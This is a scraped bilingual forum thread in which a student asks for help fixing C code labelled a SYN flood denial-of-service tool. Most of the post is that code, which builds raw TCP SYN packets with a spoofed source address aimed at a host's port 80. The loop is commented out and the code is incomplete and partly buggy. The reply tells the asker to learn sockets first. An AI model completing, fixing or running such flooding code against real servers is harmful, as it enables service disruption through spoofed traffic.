关于SYN flood的帮助 [英] help about SYN flood

查看:122
本文介绍了关于SYN flood的帮助的处理方法,对大家解决问题具有一定的参考价值,需要的朋友们下面随着小编来一起学习吧!

问题描述

任何人都可以帮我解决这个问题吗?



假设我有2台主机:host1(192.168.1.2)和主机2(192.168.1.5)也是DNS服务器名称:luxubu.com

我有一个攻击服务器的代码但我不了解套接字编程所以任何人都可以帮我修复我给出的代码



感谢提前寻求帮助

can anyone please help me this problem?

suppose I have 2 hosts : host1(192.168.1.2) and host 2(192.168.1.5) also a DNS server with name :luxubu.com
I have a code to attack server but i dont understand about socket programming so can anyone help me to fix the code i given following

thank advance for help

/*
Syn Flood DOS with LINUX sockets
*/
#include<stdio.h>
#include<netinet/tcp.h> //Provides declarations for tcp header
#include<netinet/ip.h> //Provides declarations for ip header

typedef struct pseudo_header //needed for checksum calculation
{
unsigned int source_address;
unsigned int dest_address;
unsigned char placeholder;
unsigned char protocol;
unsigned short tcp_length;
//char tcp[28];
struct tcphdr tcp;
};

unsigned short csum(unsigned short *ptr,int nbytes) {
register long sum;
unsigned short oddbyte;
register short answer;

sum=0;
while(nbytes>1) {
sum+=*ptr++;
nbytes-=2;
}
if(nbytes==1) {
oddbyte=0;
*((u_char*)&oddbyte)=*(u_char*)ptr;
sum+=oddbyte;
}

sum = (sum>>16)+(sum & 0xffff);
sum = sum + (sum>>16);
answer=(short)~sum;

return(answer);
}

int main (void)
{
//Create a raw socket
int s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP);
//Datagram to represent the packet
char datagram[4096];
//IP header
struct iphdr *iph = (struct iphdr *) datagram;
//TCP header
struct tcphdr *tcph = (struct tcphdr *) (datagram + sizeof (struct ip));
struct sockaddr_in sin;
struct pseudo_header psh;

sin.sin_family = AF_INET;
sin.sin_port = htons(80);
sin.sin_addr.s_addr = inet_addr ("192.168.1.2");

memset (datagram, 0, 4096); /* zero out the buffer */

//Fill in the IP Header
iph->ihl = 5;
iph->version = 4;
iph->tos = 0;
iph->tot_len = sizeof (struct ip) + sizeof (struct tcphdr);
iph->id = htonl (54321); //Id of this packet
iph->frag_off = 0;
iph->ttl = 255;
iph->protocol = IPPROTO_TCP;
iph->check = 0; //Set to 0 before calculating checksum
iph->saddr = inet_addr ("192.168.1.5"); //Spoof the source ip address
iph->daddr = sin.sin_addr.s_addr;

iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);

//TCP Header
tcph->source = htons (1234);
tcph->dest = htons (80);
tcph->seq = 0;
tcph->ack_seq = 0;
tcph->doff = 5; /* first and only tcp segment */
tcph->fin=0;
tcph->syn=1;
tcph->rst=0;
tcph->psh=0;
tcph->ack=0;
tcph->urg=0;
tcph->window = htons (5840); /* maximum allowed window size */
tcph->check = 0;/* if you set a checksum to zero, your kernel's IP stack
should fill in the correct checksum during transmission */
tcph->urg_ptr = 0;
//Now the IP checksum

psh.source_address = inet_addr("192.168.1.2");
psh.dest_address = sin.sin_addr.s_addr;
psh.placeholder = 0;
psh.protocol = IPPROTO_TCP;
psh.tcp_length = htons(20);

memcpy(&psh.tcp , tcph , sizeof (struct tcphdr));

tcph->check = csum( (unsigned short*) &psh , sizeof (struct pseudo_header));

//IP_HDRINCL to tell the kernel that headers are included in the packet
{
int one = 1;
const int *val = &one;
if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0)
printf ("Warning: Cannot set HDRINCL!n");
}

//while (1)
//{
//Send the packet
if (sendto (s, /* our socket */
datagram, /* the buffer containing headers and data */
iph->tot_len, /* total length of our datagram */
0, /* routing flags, normally always 0 */
(struct sockaddr *) &sin, /* socket addr, just like in */
sizeof (sin)) < 0) /* a normal send() */

printf ("errorn");
//Data send successfully
else
printf (".");

推荐答案

如果您不理解套接字,那么尝试使此代码工作毫无意义。花一些时间学习套接字以及如何使用它们并尝试一个非常简单的套接字程序,直到您了解问题为止。 Google会为您提供大量示例代码和解释。
If you don't understand sockets then it is pointless trying to get this code to work. Spend some time learning about sockets and how to use them and try a very simple socket program until you understand the issues. Google will find you lots of sample code and explanations.


我知道如何使用Google,但没有时间进行更多研究,因为我必须在下周五将这个问题提交给我的老师虽然这么多课程正在进行
i know how to use Google but its no more time to research more, because i must submit this problem to my teacher on Friday next week while so many courses is taking


这篇关于关于SYN flood的帮助的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持IT屋!

查看全文
登录 关闭
扫码关注1秒登录
发送“验证码”获取 | 15天全站免登陆